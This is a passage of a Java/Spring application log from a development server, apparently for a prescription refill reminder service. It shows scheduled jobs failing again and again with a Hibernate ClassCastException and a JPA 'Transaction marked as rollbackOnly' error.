org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 